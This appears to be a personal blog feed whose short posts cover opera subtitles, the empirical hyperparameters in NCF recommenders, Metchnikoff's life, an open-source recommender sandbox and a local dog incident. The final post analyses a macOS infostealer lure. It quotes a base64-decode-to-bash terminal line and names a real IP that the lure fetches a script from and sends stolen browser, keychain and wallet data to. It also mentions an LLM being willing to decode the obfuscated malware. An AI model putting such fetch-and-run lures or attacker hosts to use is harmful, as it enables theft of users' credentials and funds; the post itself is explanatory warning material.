Lost in Translation: Modernizing Opera Subtitles | November 19 2025, 02:31

This must be about my tenth staging of Le Nozze di Figaro. And I still can’t understand why no one ever bothers to make modern, well-constructed subtitles instead of something that resembles a product of prehistoric “Google translate”. Every single line is translated from Italian in such a barbaric way that it’s about to make one’s eyes bleed. And for what reason? The Italian is certainly not modern either, but if you undertake to translate, then do so in a way that the meaning can be grasped within those tens of milliseconds when your eyes dart to the screen. Now, you land on a text that takes a minute to chew over… Every woman makes me change colour… Instead of make me blush or make me pale… If you are fain to dance… And all that stuff.

Data Science: The Modern Alchemy of the 21st Century | November 16 2025, 04:02

A cryptic post today. While writing a book on RecSys, I caught myself thinking that modern data science is essentially the alchemy of the 21st century. Half of the “best practices” in algorithms lack a solid mathematical framework. It’s a set of heuristics that “just work”. Much like in the 17th century where they mixed everything indiscriminately, it happens now, and if something works better, everyone else starts doing the same. There’s just no answer to the question “why”.

Take, for example, the NCF/NeuMF (Neural Collaborative Filtering) algorithm. The logic goes like this. Say, there are a million movie ratings by users. And 100 million ratings by users yet given – users can’t watch every movie in the world. But out of these 100 million, you need to choose candidates for advertising for a particular user. The algorithm, of course, has a training phase, where weights are calculated, and a prediction stage, where these weights are used on the incoming data.

(What the algorithm does. Essentially, it’s an ensemble of three sub-algorithms, two of which generate their own conclusions, and then their decisions go to a new neural network, the third algorithm, which provides the final recommendation. Smartly, it’s a hybrid of GMF (matrix factorization) and MLP (Multi-Layer Perceptron). The first of these two is based on matrix decomposition, and the second represents a neural network with multiple layers. Weights are adjusted on training data.)

For one positive example, it takes 4 negative ones. Why four? Just because it’s “not too many and not too few”. Would 8 be better? Unknown, but it would definitely take longer to learn.

Why are embedding dimensions 32? or 64? There’s no formula. It’s the “golden mean” between a “dumb” model (few k) and an “overtrained” (many k).

Now about the neural network. Why is the MLP block built as a “tower” (64 -> 32 -> 16)? Why not (50 -> 25 -> 10)? Why ReLU between them (and not tanh for example)? Pure empiricism. The number of layers in the tower is also adjusted.

Why do GMF and MLP parts have different embeddings at the input? Because the authors of the paper tried it, and it “worked out better”. No mathematical proof. Why do they go to the final layer with equal weights? Because they just do.

Why are the outputs of the two paths “concatenated” (concat), and not added or multiplied? “Experience showed that this way the result is more accurate.”

And so it is with everything, up to the choice of optimizer Adam or the “magical” learning_rate=0.001, although at least these have some mathematical basis.

That is, at least a dozen parameters of one algorithm are empirically chosen, with no clear confidence that they are independent of each other. But many of them depend on the dataset, but no one knows how 😉

In general, alchemy.

Metchnikoff: Beyond Science and Survival | November 13 2025, 04:53

I was reading Metchnikoff’s biography (don’t ask why I ended up there) and thought about how much can fit into one life. He wasn’t just a scientist, but rather like a saga:

His elder brother Ivan was the prototype for Leo Tolstoy’s “The Death of Ivan Ilyich.” Another brother, Lev, was a prominent anarchist, sociologist and fought in Italy alongside Garibaldi. Metchnikoff himself tried to end his life twice: the first time after the death of his first wife (who, sick with tuberculosis, was carried to the church on a chair). He took morphine but survived. The second time was when his second wife Olga fell critically ill with typhus. He deliberately inoculated himself with relapsing fever. Fortunately, both survived. However, the Grim Reaper with his scythe only came after his third consecutive heart attack.

The dude graduated from university at 19 as an external student. I.M. Sechenov himself recommended him for a professorship. But Metchnikoff was “blackballed” (rejected) by one vote. In protest, Sechenov resigned along with him.

He founded the first bacteriological station in the country at that time in Odessa. But due to an employee mistake (they spoiled the anthrax vaccine) an entire flock of sheep died. After this scandal, he left Russia. The station — on Leo Tolstoy Street.

In Paris, he was immediately taken under the wing of Louis Pasteur (the father of pasteurized milk), who supported his theory and gave him a lab in his institute. There, Metchnikoff worked for 28 years, becoming the deputy director.

While studying cholera at the Pasteur Institute, Metchnikoff proposed a theory that not everyone who comes into contact with the pathogen gets sick. He suggested that it’s all about… (of course) the gut flora. To prove it, he deliberately drank a culture with cholera vibrios. Nothing happened (it would have surely happened to you, Metchnikoff thought)

In the end, he received the Nobel Prize for the discovery of phagocytosis (cellular immunity). He is also “the father of gerontology” — Metchnikoff was the one who proposed the theory that to achieve longevity, one must combat bad bacteria in the gut with probiotics. Now, they say, gerontologists around the world drink sour milk on May 15th remembering Metchnikoff.

He died in Paris, and his ashes are kept in the library of the Pasteur Institute.

Also, in the English Wikipedia he’s Élie Metchnikoff. Not easy to guess.

In the photo, Metchnikoff and Leo Tolstoy are discussing immunology.

Instagram’s Nostalgia Marketing: Channeling t.A.T.u for Teen Engagement | November 12 2025, 12:51

Instagram advertises accounts to teenagers with a girl strongly resembling a young Lena Katina from t.A.T.u 😉

Exploring Recommender Algorithms Through Interactive Visualizations and Sandbox Simulations | November 11 2025, 05:23

I’ve launched an electronic open source application for my book Recommender Algorithms! It’s a “sandbox” where you can “run” various recommendation algorithms with different settings, and view specific visualizations for each algorithm that help understand how it works. For instance, for algorithms like ItemKNN, SLIM, or EASE, a key visualization is a heatmap of the learned similarity matrix (item-item similarity matrix). This allows you to see which pairs of items the model considers “similar” (or “influencing” each other). For SLIM, for example, a useful “Sparsity Plot” shows that the similarity matrix indeed turned out to be sparse. For associative rule algorithms (Apriori, FP-Growth, Eclat) the visualization is not a graph, but interactive tables with found “Frequent Itemsets” and generated “Association Rules,” which can be filtered and sorted.

Additionally, there is a parametric mechanism for creating a “game dataset” — Dataset Wizard. It works like this – there are template datasets that describe items through characteristics. For example, recipes through flavors. Or movies through genres. The system generates random users with a random set of characteristics from the same set — and there are many sliders to make this distribution more contrasted or complex. Next, a matrix of user ratings of items is created – conditionally, if the characteristics of the user and the item match, then the rating will be higher because “tastes match”; conversely, if they differ, then the rating will be lower. Here too, sliders add noise and scarcity – randomly removing part of the matrix. The characteristics of products and users are not fed into the recommendation algorithm; they are hidden, but they are used to visualize the results.

The third component of the application is the tuning of hyperparameters. Essentially, it’s an auto-configurator for a specific dataset. An iterative approach is used, which is much more efficient than a full search (Grid Search) or random search (Random Search). In short, the system analyzes the history of past runs (trials) and builds a probability “map” (surrogate model) of which parameters will likely yield the best result. Then, it uses this map to smartly choose the next combination to test. This method is called Sequential Model-Based Optimization (SMBO).

The code is open source and will be further supplemented with new algorithms and new visualizations.

Link to the code in the comments.

Link to the site where the code is deployed and where you can check out the application is also in the comments.

Chaos in the Village: Escaped Huskies Trigger Community Alarm | November 09 2025, 22:55

Something crazy is happening in our village. First, the owner of two huskies posts on nextdoor that they ran away from home and asks people to notify him if anyone sees them, warning that they are skittish. Then, about two hours later, the chihuahua owner posts that the escaped huskies killed his dog and also a neighbor’s chicken. The husky owner deleted his first post. Everyone in the village is grabbing their popcorn. It’s sad about the dogs. I’m always afraid that Yuki will run away like that, he’s also a fighter and fiercely hates all dogs in the world except himself.

The Evolution of the Albanian Virus: From Joke to Cyberthreat | November 07 2025, 14:21

“Hello. I am an Albanian virus, but due to the low level of technology in my country, I cannot do anything to your computer. Please kindly delete one file on your computer and then forward me to other users.”

Here’s the 2025 version. The line they ask to insert into the terminal – echo “” | base64 -d | bash

This line contains curl, pointing to 217.119.139.117 whose result is passed to `nohup bash`. And from this address, a script is loaded, of course obfuscated.

Naturally, no available LLM agrees to decrypt it. But Qwen didn’t mind.

Upon execution, the script gathers information from Chrome, Brave, Edge, Firefox, and others, extracting cookie files, autocomplete history, and system login data, collects crypto wallets like Electrum, Coinomi, Exodus, Atomic, Wasabi, Ledger Live, and others, gathers content from the “Notes” macOS app with attached media files, data from the Keychain (passwords), and also scans the desktop and documents for files of certain extensions. The collected data are archived and sent to a remote server with the IP address 217.119.139.117.

To ensure persistent access, the script creates hidden launch services (LaunchDaemons) with random names, making it difficult to detect. It can download and replace the legitimate Ledger Live application with a modified version.

Such is the Albanian virus)